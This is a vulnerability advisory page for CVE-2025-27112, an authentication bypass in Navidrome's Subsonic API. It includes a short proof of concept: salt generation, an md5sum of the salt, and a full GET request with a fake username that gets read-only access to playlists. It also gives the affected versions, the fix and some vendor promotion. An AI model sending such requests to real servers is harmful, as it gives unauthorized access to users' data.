CVE-2025-27112

In certain Subsonic API endpoints, authentication can be bypassed by using a non-existent username combined with an empty (salted) password hash. This allows read-only access to the server’s resources, though attempts at write operations fail with a “permission denied” error.

Details

A flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials.

Proof of Concept (PoC)

1. Generate a random salt:

   // e.g., salt = "x1vbudn1m6d"
   Math.random().toString(36).substring(2, 15)
   

2. Calculate the MD5 hash of an empty password plus the salt:

   # Using the example salt above
   echo -n "x1vbudn1m6d" | md5sum
   81f0c0fb5d202ab0d012e6eaeb722d79  -
   

3. Send a request specifying a fake user, with the hash and salt values:

   GET https://[host]/rest/getPlaylists?u=FakeUser&t=81f0c0fb5d202ab0d012e6eaeb722d79&s=x1vbudn1m6d&v=1.16.1&c=castafiore&f=json
   

An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails due to insufficient permissions, limiting the impact to unauthorized viewing of information.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

Kodem intelligence

1. What is CVE-2025-27112? CVE-2025-27112 is a medium-severity improper authentication vulnerability in github.com/navidrome/navidrome (go), affecting versions >= 0.52.0, < 0.54.5. It is fixed in 0.54.5. The application does not adequately verify the identity of a user, device, or process before granting access.
2. Which versions of github.com/navidrome/navidrome are affected by CVE-2025-27112? github.com/navidrome/navidrome (go) versions >= 0.52.0, < 0.54.5 is affected.
3. Is there a fix for CVE-2025-27112? Yes. CVE-2025-27112 is fixed in 0.54.5. Upgrade to this version or later.
4. Is CVE-2025-27112 exploitable, and should I be worried? Whether CVE-2025-27112 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-27112 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-27112? Upgrade github.com/navidrome/navidrome to 0.54.5 or later.